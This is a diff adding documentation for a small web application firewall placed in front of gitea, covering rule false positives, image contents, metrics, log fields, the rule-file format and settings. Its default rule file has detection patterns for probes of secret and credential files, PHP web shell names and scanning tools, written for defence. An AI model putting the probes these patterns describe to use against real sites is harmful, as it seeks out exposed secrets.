+  place of its form. So does an issue opened from such a template, and such a
+  rule opened for editing.
+- Saving such a rule stores it. gitea then returns to the branch settings page,
+  which gets the `403` answer, so the save looks as if it failed.
+
+### A file name in a query parameter that trips the code rules
+
+The Core Rule Set's rules for Java, script, PowerShell and SQL find what they
+look for in some file names. This holds too in the ten query parameters that
+930120, 932160 and 932260 do not check (see the fourth change under "Attack
+detection" in `SPEC.md`). Examples:
+
+- `runtime` in OpenJDK's `src/java.base/share/classes/java/lang/Runtime.java`
+  (944110);
+- a Java class, as in `java.lang.String.md` (944130);
+- `document.write.js` (941180);
+- `process.env.d.ts` (934100);
+- `__proto__` (934130);
+- the PowerShell command `Install-Script`, as in `install-script.sh` (932120);
+- a database's name, as in PostgreSQL's `information_schema.sql` (942140).
+
+For such a file, these requests are refused:
+
+- the API's list of its commits (`path`);
+- the API's call for the contents of files that names it in its query (`body`);
+- the commit graph of that file alone (`file`);
+- the hidden lines of its diff (`path`), which stay hidden;
+- the sign-in page, for a visitor who opens a page of the file that needs
+  signing in, such as its edit page (`redirect_to`). The visitor can still sign
+  in by opening the sign-in page itself.
+
+### A path
+
+- A file name ending in `~`, or an `.xhtml` file whose path holds a space.
+- A path that holds what the Core Rule Set takes for a Java class (944130), as
+  `java.lang.String.md` and
+  `META-INF/services/org.apache.commons.logging.LogFactory` do.
+- A path that holds what it takes for Node.js code (934100), as
+  `process.env.d.ts` does.
+- A path with a directory named `...` (930100, 930110), such as `.../notes.txt`.
+
+For such a file, these are refused:
+
+- the page of the file;
+- its raw file;
+- its history and its blame;
+- its edit page.
+
+The directory that holds it lists it, and a clone carries it.
+
+### A container image push that reuses a layer
+
+A push can reuse a layer of an image docker has pushed to that gitea before.
+docker then asks gitea to take the layer from that image, naming it in the query
+parameter `from`, which 932260 checks. The request is refused when the image's
+owner starts with an entry on the list of commands. It is refused too when the
+image's name after the owner starts with one. Examples are `owner/python3-app`,
+`owner/docker-base`, and any image of an owner named `ansible` or `docker-team`.
+
+What happens next depends on docker's image store. A docker that keeps its
+images in containerd's image store fails the push, and fails each new try the
+same way. A new install of Docker Engine 29 does this. A docker that keeps them
+in its own older image store uploads the layer instead. The push then succeeds
+after one refusal for each layer it reuses, and each of those refusals counts
+toward the error burst ("Attack detection" in `SPEC.md`).
+
+### Artifact uploads from `actions/upload-artifact@v3`
+
+This action sends the header `Content-Range`, which the Core Rule Set refuses
+(920450). The action sends two files at a time, does not retry a `403`, and
+sends no further file once one is refused. So an upload is refused once or
+twice, however many files it holds, and the step fails. One upload does not ban
+the runner. The error burst ("Attack detection" in `SPEC.md`) bans it after more
+than 30 such refusals from its address in a minute, as when many jobs upload at
+once. `actions/upload-artifact@v4` does not send the header.
+
+### What body inspection refuses
+
+With `SWWAF_WAF_BODY_LIMIT` set, the Core Rule Set reads request bodies too. In
+front of gitea it then refuses these, until their rule ids, named in the request
+log, are added to `SWWAF_WAF_DISABLED_RULES`:
+
+- issue and comment text, wiki pages and files saved in the web editor that hold
+  shell commands or code (932125, 932235, 932250 and others);
+- package descriptions that show code;
+- PyPI uploads (922130);
+- attachments named like `debug.log` or `config.yml` (932180).
+
+### What `script/gitea-requests` sends
+
+Of the requests above, the script sends:
+
+- for each file named under "A file name in a query parameter that trips the
+  code rules", the API's list of its commits;
+- for `Runtime.java` alone, the commit graph of that file, the hidden lines of
+  its diff, and the API's call for the contents of files that names it;
+- the sign-in page for a visitor who opens the edit page of `document.write.js`;
+- the pages of `java.lang.String.md`,
+  `META-INF/services/org.apache.commons.logging.LogFactory`, `process.env.d.ts`
+  and `.../notes.txt`;
+- one container image push that reuses a layer, which it does not try again.
+
+It does not send the raw file, history, blame or edit page of those four files,
+or the pages of the directories `META-INF/services` and `...`. It also sends a
+short sample of gitea's ordinary use:
+
+- signing in;
+- pages of files and commits, and a diff;
+- the API;
+- a push, and clone and fetch over HTTP;
+- two container image pushes.

docs/image.md

@@ -0,0 +1,36 @@
+# What the image holds
+
+The contents of the `smallwebwaf` image, and how each part is pinned. The image
+runs `rproxy` by default, or `servewaf` with `SMALLWEBWAF_COMMAND=servewaf`.
+"Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it
+is pinned that way.
+
+## Contents
+
+- Ubuntu 26.04 LTS, pinned by digest.
+- `ca-certificates`, `nix-bin` and `runit` from Ubuntu's archive.
+- Nix, with nixpkgs `nixos-26.05.11045.774debe7a0d1` set up for root as
+  `nixpkgs`. No Nix daemon; `build-users-group =` in `/etc/nix/nix.conf`. Root's
+  Nix profile, `/nix/var/nix/profiles/default/bin`, last on the `PATH`.
+  Unpacked, nixpkgs takes about 500 MiB.
+- `runsvinit` as the entrypoint, built from `github.com/peterbourgon/runsvinit`
+  at a fixed commit hash.
+- The `smallwebwaf` binary, and the user `smallwebwaf` (uid and gid 65532).
+- The service directory `/etc/service/smallwebwaf`, with the `run` script
+  `share/smallwebwaf.run`.
+- `/var/lib/smallwebwaf` for `servewaf`'s state files, and
+  `/etc/smallwebwaf/rules.d` with the default rule file
+  `share/rules.d/00-default.rules`.
+- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `smallwebwaf healthcheck`.
+
+## Pins
+
+- Ubuntu's packages are not pinned: they come from the live archive, whose
+  packages change with every update.
+- nixpkgs: the release file `nixexprs.tar.xz` of
+  `nixos-26.05.11045.774debe7a0d1` on `releases.nixos.org`, named with its
+  SHA-256 hash.
+- `runsvinit`: the archived repository, unchanged since 2015, at its last commit
+  (`b4b2c78`, eight commits after `v2.0.0`), by commit hash, with a `go.mod` the
+  build writes.
+- The Go image that builds `smallwebwaf`: by digest.

docs/metrics.md

@@ -0,0 +1,93 @@
+# The metrics
+
+What `GET /_smallwebwaf/metrics` answers with, at `servewaf`'s own address.
+"Metrics endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus
+keeps the `instance` label as `exported_instance` unless the scrape sets
+`honor_labels: true`. `rproxy` has no metrics.
+
+## Traffic
+
+- `smallwebwaf_requests_total`, `smallwebwaf_request_bytes_total` and
+  `smallwebwaf_response_bytes_total`, by `status_class` such as `2xx` and by
+  `action`;
+- `smallwebwaf_request_duration_seconds` and
+  `smallwebwaf_upstream_duration_seconds`, as histograms;
+- `smallwebwaf_requests_in_flight`: the questions and requests to its own
+  endpoints that `servewaf` is handling.
+
+## Limits and bans
+
+- `smallwebwaf_rate_limit_hits_total`, by `window` and by `kind` (`requests`,
+  `bytes` or `refusals`);
+- `smallwebwaf_offences_total`, by `kind`;
+- `smallwebwaf_bans_made_total`, by `cause`;
+- `smallwebwaf_active_bans` and `smallwebwaf_permanent_bans`.
+
+## Attack detection
+
+- `smallwebwaf_rule_matches_total`, by `rule_id` and `action`, and
+  `smallwebwaf_rules_loaded`;
+- `smallwebwaf_waf_matches_total`, by `mode` and `rule_id`, for the rules that
+  fired.
+
+## Countries and AS numbers
+
+For the `SWWAF_METRICS_TOP_N` busiest of each, the rest as `other`:
+
+- `smallwebwaf_country_requests_total`,
+  `smallwebwaf_country_request_bytes_total`,
+  `smallwebwaf_country_response_bytes_total` and
+  `smallwebwaf_country_list_refusals_total`, by `country`;
+- `smallwebwaf_asn_requests_total`, `smallwebwaf_asn_request_bytes_total` and
+  `smallwebwaf_asn_response_bytes_total`, by `asn`.
+
+## Lookups
+
+- `smallwebwaf_geojs_requests_total` and `smallwebwaf_geojs_failures_total`;
+- `smallwebwaf_geojs_unanswered_total`: the requests that needed an answer and
+  went on without it;
+- with the file source,
+  `smallwebwaf_lookup_database_last_read_timestamp_seconds` and
+  `smallwebwaf_lookup_database_read_failures_total`.
+
+## Reputation sources
+
+By `source`: each list's URL, each zone, and `abuseipdb`:
+
+- `smallwebwaf_reputation_hits_total`, `smallwebwaf_reputation_queries_total`
+  and `smallwebwaf_reputation_failures_total`;
+- `smallwebwaf_reputation_last_fetch_timestamp_seconds`, for a list;
+- `smallwebwaf_reputation_daily_budget_remaining`, for AbuseIPDB.
+
+## State files
+
+By `file`:
+
+- `smallwebwaf_state_file_writes_total`,
+  `smallwebwaf_state_file_write_failures_total`,
+  `smallwebwaf_state_file_last_write_timestamp_seconds` and
+  `smallwebwaf_state_file_size_bytes`;
+- `smallwebwaf_state_file_edits_taken_in_total` and
+  `smallwebwaf_state_file_edits_set_aside_total`;
+- `smallwebwaf_tracked_clients`: the clients in the table.
+
+## Remote log, alerts and the process
+
+- while a syslog server is set, `smallwebwaf_remote_log_lines_sent_total`,
+  `smallwebwaf_remote_log_lines_dropped_total` and
+  `smallwebwaf_remote_log_buffer_depth`;
+- by `destination`, `smallwebwaf_alerts_sent_total`,
+  `smallwebwaf_alerts_failed_total`, `smallwebwaf_alerts_suppressed_total` and
+  `smallwebwaf_alerts_dropped_total`;
+- Go's own `go_` metrics and the process's `process_` metrics.
+
+## When a request is counted
+
+`servewaf` counts a denied request at its decision, and a request to its own
+endpoints when it is answered. It counts an allowed request when its report
+comes, with the status, bytes and times the report gives. These are not counted:
+
+- a report itself;
+- an allowed request whose report never comes;
+- a question refused with `400`;
+- a question whose body stopped arriving.

docs/request-log.md

@@ -0,0 +1,206 @@
+# The request log's fields
+
+The fields of the JSON objects `rproxy` and `servewaf` write about each request.
+"Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line is
+written and how the log is sent to a syslog server. A field that does not apply
+to a request is left out.
+
+## `servewaf`'s lines
+
+`smallwebwaf servewaf` writes two lines for each question it answers, joined by
+`request_id`. The field `servewaf_line` says which of the two a line is:
+
+- `decision`: the line it writes once it has answered the question;
+- `report`: the line it writes when `rproxy`'s report comes, with everything
+  known. The repetition is intended.
+
+A request to its own endpoints writes one line, without `servewaf_line`. A
+report writes no line but the `report` line of the request it names.
+
+These questions write no line:
+
+- a question refused with `400` (see "The question" under "`servewaf`" in
+  [`SPEC.md`](../SPEC.md));
+- a question whose body stopped arriving, which gets no answer.
+
+A `report` line:
+
+```
+{"type":"request","servewaf_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/servewaf","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"waf_score":0,"duration_total":3.217,"duration_checks":0.041,"duration_waf":0.029,"duration_upstream_total":3.104}
+```
+
+### Every line
+
+Every one of these lines has:
+
+- `type`: `request` (the process's own messages have `process`);
+- the standard web log fields;
+- `request_id`, `peer_ip` and `client_group`;
+- `asn`, `as_name` and `country`;
+- `action` and `duration_total`.
+
+### Standard web log fields
+
+- `time`: when `servewaf` had read the question's body, RFC 3339 with
+  milliseconds, in UTC. The `report` line gives the same time as the `decision`
+  line.
+- `instance`: `SWWAF_INSTANCE_NAME`.
+- `client_ip`: the visitor's address, as `rproxy` worked it out.
+- `method`, `path` and `query`: the visitor's request.
+- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
+  it.
+- `host`: the site the visitor asked for.
+- `protocol`: the question's own, `HTTP/1.1`.
+- `status`:
+    - on the `decision` line, what `servewaf` answered: `200` for `allow`, the
+      status of `deny`, or `0` for `close`, as the visitor is then sent nothing;
+    - on the `report` line, what the visitor got, `0` if nothing.
+- `request_bytes`:
+    - on the `decision` line, how much of the question's body the Core Rule Set
+      read;
+    - on the `report` line, the bytes of the visitor's body that `rproxy` read,
+      with what a WebSocket carried from the visitor.
+- `response_bytes`:
+    - on the `decision` line, the body of `servewaf`'s answer;
+    - on the `report` line, the bytes of the answer's body, with what a
+      WebSocket carried from the app.
+- `referer` and `user_agent`.
+
+### Request detail
+
+- `request_id`: the id `rproxy` made for the request when it arrived.
+- `peer_ip`: the address of `rproxy`'s TCP peer, normally traefik.
+- `forwarded_for`: the `X-Forwarded-For` header the visitor's request came with.
+- `client_group`: the client as rate limiting counts it, an IPv4 address as a
+  /32 or an IPv6 group.
+- `asn`, `as_name` and `country`: the client's, as looked up. Each is empty
+  when:
+    - lookups are off;
+    - the client is not looked up;
+    - the source cannot place the client;
+    - GeoJS had not answered by the time `servewaf` answered.
+- `content_type`: the visitor's `Content-Type`.
+- `content_length`: the body length the visitor announced.
+- `request_headers`: the headers listed in `SWWAF_LOG_REQUEST_HEADERS`, by name
+  in lower case.
+- `has_authorization` and `has_cookie`: true when the request had those headers.
+  Their values are never logged.
+
+### Response detail
+
+- `response_content_type`: the type of `servewaf`'s own answer.
+- `aborted`: true when `rproxy` went away before the answer.
+
+### Decision
+
+- `action`: what was done:
+    - `forward`: answered `allow`, so that `rproxy` passes it to the app;
+    - `denied`: refused for `SWWAF_DENY_NETS`, or for a reputation source with
+      the action `deny`;
+    - `banned`: refused under a ban, or for a `ban` rule, a trap path or a
+      CrowdSec decision, each of which bans the client;
+    - `country_denied`, `rate_limited`, `rule_blocked` and `waf_blocked`:
+      refused by that check;
+    - `too_large`: over a header limit;
+    - `admin`: answered at one of `servewaf`'s own endpoints, or `404` for a
+      path under `/_smallwebwaf/`.
+- `would_action`: in `observe` mode, what `enforce` mode would have done with a
+  request it would have refused. `action` then names what was done, normally
+  `forward`.
+- `limit_percent` and `limit_percent_setting`: the client's percentage of the
+  rate limits and the setting that lowered it, when one did. `bytes_percent` and
+  `bytes_percent_setting` do the same for the byte limits.
+- `counts`: the client's totals as rate limiting counts them, this request
+  included. It is left out when rate limiting did not count the request. It
+  holds:
+    - `minute`, `hour` and `day`: requests;
+    - `minute_bytes`, `hour_bytes` and `day_bytes`: bytes.
+
+    A count can have a fraction (see "Counting method" in
+    [`SPEC.md`](../SPEC.md)). The bytes of an allowed request are counted when
+    its report comes. So on the `decision` line, the bytes are without this
+    request's.
+
+- `limit_hit`: the limit broken:
+    - `minute`, `hour` or `day` for a rate limit;
+    - `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
+    - `error_burst`.
+
+    A request whose bytes broke a limit was passed on whole, so its `action`
+    stays `forward`. Only its `report` line gives that limit.
+
+- `rule_ids`: the rule file rules that matched, in order, up to the one that
+  refused.
+- `waf_score` and `waf_rule_ids`: the Core Rule Set's score and the rules that
+  matched, for a request it inspected.
+- `reputation`: the sources the client is on, in this order:
+    - blocklist URLs;
+    - the CrowdSec decision list's URL;
+    - DNS blocklist zones;
+    - `abuseipdb`.
+- `offence`: `limit`, for a request that broke a limit.
+- `ban_expires`: when the client's ban ends, for a request that made one or was
+  refused under one: a time, or `permanent`.
+
+### Timings
+
+All in milliseconds:
+
+- `duration_total`:
+    - on the `decision` line, from `servewaf` having read the question's body to
+      the line;
+    - on the `report` line, from `rproxy` having read the request's headers to
+      the end of the answer.
+- `duration_checks`: to the end of the checks;
+- `duration_waf`: the part of that the Core Rule Set took;
+- `duration_upstream_total`: on the `report` line of an allowed request, from
+  the hand-over to the app to the end of the answer.
+
+### Requests to its own endpoints
+
+The line of a request to `servewaf`'s own endpoints has these fields, with these
+meanings where they differ:
+
+- `client_ip` and `peer_ip`: the request's TCP peer.
+- `request_id`: a new random one of 26 letters and digits.
+- `scheme`: `http`.
+- `time`: when the request's headers had been read.
+- `request_bytes`: the bytes read of a ban to add, and otherwise `0`.
+- `action`: `admin`.
+- `duration_total`: from the request's headers being read to the line.
+
+## `rproxy`'s line
+
+`smallwebwaf rproxy` writes one short line for each request. `request_id` joins
+it to `servewaf`'s two. It has these fields and no others:
+
+- `type`: `request`.
+- `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
+- `request_id`: the id `rproxy` made for the request when it arrived.
+- `client_ip`: the visitor's address.
+- `host` and `method`.
+- `path` and `query`: as the visitor sent them.
+- `status`: what the visitor got, `0` if nothing.
+- `request_bytes`: the bytes of the visitor's body that `rproxy` read, with what
+  a WebSocket carried from the visitor.
+- `response_bytes`: the bytes of the answer's body, with what a WebSocket
+  carried from the app.
+- `duration_request`: milliseconds from the request's headers being read until
+  the app had been sent the whole request, or the answer started if that was
+  sooner. It includes the wait for `servewaf`.
+- `duration_response`: milliseconds from then until the end of the answer.
+- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
+  is `servewaf`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is left
+  out when:
+    - `servewaf` was not asked, as for the health check;
+    - the visitor went away while `servewaf` was being asked;
+    - `servewaf`'s answer had no valid `X-Smallwebwaf-Disposition`;
+    - `rproxy` could not pass on `servewaf`'s answer, and answered `502`.
+- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
+  `disposition`, and otherwise left out.
+
+For example:
+
+```
+{"type":"request","time":"2026-10-03T12:00:00.123Z","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","client_ip":"203.0.113.9","host":"app.example","method":"GET","path":"/","query":"","status":200,"request_bytes":0,"response_bytes":5120,"duration_request":1.204,"duration_response":3.104,"disposition":"allow"}
+```

docs/rules.md

@@ -0,0 +1,72 @@
+# Rule files
+
+The format of a rule file, and the default file the image ships. "Rule files" in
+[`SPEC.md`](../SPEC.md) says how the files are read, watched and mounted, and
+what each action leads to.
+
+## The format
+
+A rule is a line of four fields separated by spaces or tabs: an id, a target, an
+action and a regex. The regex runs to the end of the line. Blank lines and lines
+starting with `#` are ignored.
+
+```
+# id           target      action  regex
+env-file       path        ban     (?i)^/\.env(\.[a-z]+)?$
+scanner-agent  user_agent  ban     (?i)\b(sqlmap|nikto|nuclei|wpscan)\b
+```
+
+- The id is letters, digits, `-` and `_`, unique across all files. The log line,
+  the metrics, the alerts and a ban's notes name the rule by it.
+- The target is what the regex is matched against:
+    - `path`: the path without the query;
+    - `uri`: the path and the query together;
+    - `query`: the query as sent;
+    - `method`, `host`, `user_agent` and `referer`;
+    - `header:<Name>`: any one request header but `Host` and
+      `Transfer-Encoding`.
+- The action is `log`, `block` or `ban`.
+- The regex is in Go's syntax, RE2. It matches anywhere in the target unless
+  anchored with `^` and `$`. `(?i)` at its front makes it ignore case.
+
+## The default file
+
+The image ships one file, `share/rules.d/00-default.rules`, installed as
+`/etc/smallwebwaf/rules.d/00-default.rules`:
+
+```
+# 00-default.rules: probes no real visitor sends, anchored at the site root
+
+# id             target      action  regex
+env-file         path        ban     (?i)^/\.env(\.[a-z]+)?$
+vcs-dir          path        ban     (?i)^/\.(git|svn|hg|bzr)(/|$)
+secrets-dir      path        ban     (?i)^/\.(aws|ssh|docker|kube)/
+secret-file      path        ban     (?i)^/\.(htpasswd|htaccess|npmrc|netrc|pgpass|git-credentials|bash_history|DS_Store)$
+editor-dir       path        ban     (?i)^/\.(vscode|idea)/
+backup-file      path        ban     (?i)^/[^/]+\.(php(\.[a-z0-9]+|~)|sql(\.[a-z0-9]+)?)$
+log-file         path        ban     (?i)^/(debug|error|access)\.log$
+compose-file     path        ban     (?i)^/(docker-)?compose\.ya?ml$
+php-shell        path        ban     (?i)^/(shell|c99|r57|wso|alfa)\.php$
+scanner-agent    user_agent  ban     (?i)\b(sqlmap|nikto|nuclei|masscan|zgrab|wpscan)\b
+path-traversal   uri         block   (\.\./){2,}
+empty-agent      user_agent  log     ^$
+```
+
+## A file of your own
+
+`servewaf` reads the rule files in its own container. Rules of your own go in a
+file named to sort after the default, such as `50-gitea.rules`:
+
+```
+# 50-gitea.rules: WordPress probes, which gitea never serves
+wp-probe         path        ban     (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
+```
+
+A `Dockerfile` built on the `smallwebwaf` image, for `servewaf` to run from,
+adds it:
+
+```dockerfile
+COPY 50-gitea.rules /etc/smallwebwaf/rules.d/50-gitea.rules
+```
+
+Or mount it there. A `path` rule applies on every site behind that `servewaf`.

docs/settings.md

@@ -0,0 +1,405 @@
+# Settings
+
+Every setting, its default and the values it takes, in the groups of "Settings"
+in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
+that take `off`, the `_FILE` form, and what each group does and why.
+
+The settings that start with `SWWAF_` are `servewaf`'s. Those that start with
+`SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SMALLWEBWAF_COMMAND`
+chooses between the two (see "The image's command" below).
+
+## Forms of values
+
+- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
+  and negative durations are refused.
+- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
+  of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
+- A count is a whole number of requests, such as `1000`.
+- A list is comma separated, with spaces around items ignored. An empty item is
+  refused.
+- A netblock is an address and a prefix length, such as `10.0.0.0/8`. A bare
+  address stands for itself alone.
+- A country is a two-letter code of ISO 3166-1, in either case: `de` and `DE`
+  are the same. `xk` stands for Kosovo. A code that is not a country is refused,
+  such as `nk` (North Korea is `kp`) or the withdrawn `su`.
+- An AS number is `AS` and the number, in either case, such as `AS64496`.
+- A percentage is a whole number from 0 to 100.
+- A path prefix starts with `/`, such as `/assets/`.
+
+## Core
+
+- `SWWAF_LISTEN_ADDR` (default `:8080`): where `servewaf` listens: `:` and a
+  port, such as `:9000`. Leave the host out (see "Ports" in
+  [`SPEC.md`](../SPEC.md)).
+- `SWWAF_INSTANCE_NAME` (default: the container's host name): the `instance`
+  name in each line `servewaf` logs, and in each alert and metric, such as
+  `fsn1/servewaf`. Valid UTF-8. No control character while
+  `SWWAF_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
+  space while `SWWAF_LOG_REMOTE_URL` is set and `SWWAF_LOG_REMOTE_APP_NAME` is
+  not.
+- `SWWAF_MODE` (default `enforce`): `enforce` or `observe`.
+- `SWWAF_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6
+  client's group, from 32 to 128.
+- `SWWAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
+  number above zero.
+- `SWWAF_MAX_BANS` (default `5000`): how many of its own bans `servewaf` keeps,
+  a whole number above zero.
+
+## Tokens
+
+- `SWWAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
+  `/_smallwebwaf/clients/<ip>`. At least 32 characters.
+- `SWWAF_METRICS_TOKEN` (default unset): the token for `/_smallwebwaf/metrics`.
+  At least 32 characters.
+
+## State files
+
+- `SWWAF_STATE_DIR` (default `/var/lib/smallwebwaf`): the directory of the state
+  files, an absolute path that exists and can be written.
+- `SWWAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
+  written after a ban is made, lifted or made permanent. A duration.
+- `SWWAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
+  written. A duration.
+
+## Logging
+
+- `SWWAF_LOG_LEVEL` (default `info`): the least severe of `servewaf`'s own
+  messages that are written: `debug`, `info`, `warn` or `error`.
+- `SWWAF_LOG_REQUEST_HEADERS` (default
+  `accept,accept-language,accept-encoding,content-type,origin,range`): the
+  request headers recorded in the log line, in either case. `Host` and
+  `Transfer-Encoding` are refused; the host is the field `host`.
+- `SWWAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
+  line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
+  each with a host and a port and nothing more.
+- `SWWAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
+  that a `syslog+tls` server's certificate must chain to, instead of the host's
+  own. A file that cannot be read, or holds no certificate, is refused.
+- `SWWAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they
+  wait to be sent, a whole number above zero.
+- `SWWAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
+  `user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
+  `authpriv`, `ftp`, or `local0` to `local7`.
+- `SWWAF_LOG_REMOTE_APP_NAME` (default: `SWWAF_INSTANCE_NAME`): the app name in
+  each syslog record, 1 to 48 printable ASCII characters without a space.
+
+## Metrics
+
+- `SWWAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many
+  countries get series of their own. A whole number above zero.
+
+## Static lists
+
+- `SWWAF_ALLOW_NETS` (default empty): netblocks you trust, such as your
+  monitoring (see step 3 in [`SPEC.md`](../SPEC.md)).
+- `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
+  exempt from rate limiting and the byte limits.
+- `SWWAF_DENY_NETS` (default empty): netblocks whose clients are refused (see
+  step 3 in [`SPEC.md`](../SPEC.md)).
+
+## Request rate limits, per client
+
+- `SWWAF_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a
+  client may make in a minute. A count or `off`. The default leaves room for a
+  person opening two gitea pages at once with an empty cache, up to 60 files
+  each.
+- `SWWAF_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
+  make in an hour. A count or `off`. It is the main limit against scrapers. A
+  person reading code in gitea for an hour, a page every 20 seconds, makes
+  about 900. A scraper making one request every 2 seconds makes 1,800 an hour,
+  more than the limit.
+- `SWWAF_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may
+  make in a day. A count or `off`. The default is four hours at the hour limit.
+  A scraper making one request every 10 seconds makes 8,640 a day, more than the
+  limit.
+- An Actions runner asks gitea for work all day and can pass the limits. Put the
+  runners' addresses in `SWWAF_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
+  network where many people share one address, such as an office.
+- Counting cannot catch a client that stays under all three limits (see "Request
+  rate limits, per client" in [`SPEC.md`](../SPEC.md)).
+- `SWWAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from
+  rate limiting and the byte limits, such as `/assets/`.
+
+## Byte limits, per client
+
+- `SWWAF_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWWAF_BYTES_LIMIT_PER_HOUR`
+  (default `50G`) and `SWWAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most
+  bytes counted for a client in each window. A size or `off`.
+- `SWWAF_BYTES_COUNT` (default `both`): which body bytes the byte limits count:
+  `response`, `request` or `both`.
+
+## Lookup of AS number and country
+
+- `SWWAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
+  the start while a setting that needs a lookup is set:
+    - the two country lists;
+    - `SWWAF_ADD_LOOKUP_HEADERS`;
+    - the four biased threshold lists and `SWWAF_ASN_LIMIT_PERCENT_URL`;
+    - `SWWAF_UNKNOWN_LIMIT_PERCENT` below `100`;
+    - an anomaly threshold per AS number.
+- `SWWAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
+  `.mmdb` form, for `SWWAF_LOOKUP_SOURCE=file`.
+- `SWWAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
+  client's first answer from GeoJS, and how long a request to GeoJS may take. A
+  duration; never `off`.
+- `SWWAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
+  the client's AS number in `X-Client-ASN` and its country in
+  `X-Client-Country`.
+
+## Country lists
+
+- `SWWAF_DENIED_COUNTRIES` (default empty): countries whose clients are refused,
+  such as `cn,ru,kp`.
+- `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
+  countries whose clients get through, such as `us,de`. A country on both lists
+  stops the start.
+
+## Biased thresholds
+
+- `SWWAF_ASN_LIMIT_PERCENT` (default empty): a list of AS numbers, each with `:`
+  and a percentage, such as `AS14061:50,AS16276:50,AS45102:25`. An AS number
+  listed twice is refused.
+- `SWWAF_COUNTRY_LIMIT_PERCENT` (default empty): the same by country, such as
+  `cn:25,ru:50`.
+- `SWWAF_ASN_BYTES_PERCENT` and `SWWAF_COUNTRY_BYTES_PERCENT` (default empty):
+  the same, for the byte limits alone.
+- `SWWAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
+  lookup cannot place.
+- `SWWAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
+  text file with one AS number and percentage on each line, such as
+  `AS64496:50`. A URL that is also in `SWWAF_BLOCKLIST_URLS` is refused.
+
+## Attack detection
+
+- `SWWAF_RULES_DIR` (default `/etc/smallwebwaf/rules.d`): the directory of the
+  rule files.
+- `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file.
+- `SWWAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
+  `/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
+- `SWWAF_WAF_MODE` (default `block`): `off`, `detect` or `block`.
+- `SWWAF_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
+  from 1 to 4.
+- `SWWAF_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
+  match. A whole number above zero, or `off`.
+- `SWWAF_WAF_DISABLED_RULES` (default
+  `920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
+  to switch off. Each a whole number above zero. An id from 900000 to 900999 is
+  refused: those are the rules that set the Core Rule Set up, and
+  `smallwebwaf`'s own.
+- `SWWAF_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
+  not inspect.
+- `SWWAF_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body
+  the Core Rule Set reads, a size of at most `64K`. A question carries no more
+  of a body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one
+  byte of it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
+- `SWWAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals of one client
+  in a minute (see "Attack detection" in `SPEC.md`). A count or `off`.
+
+## Ban lengths, response and scope
+
+- `SWWAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
+- `SWWAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
+  duration.
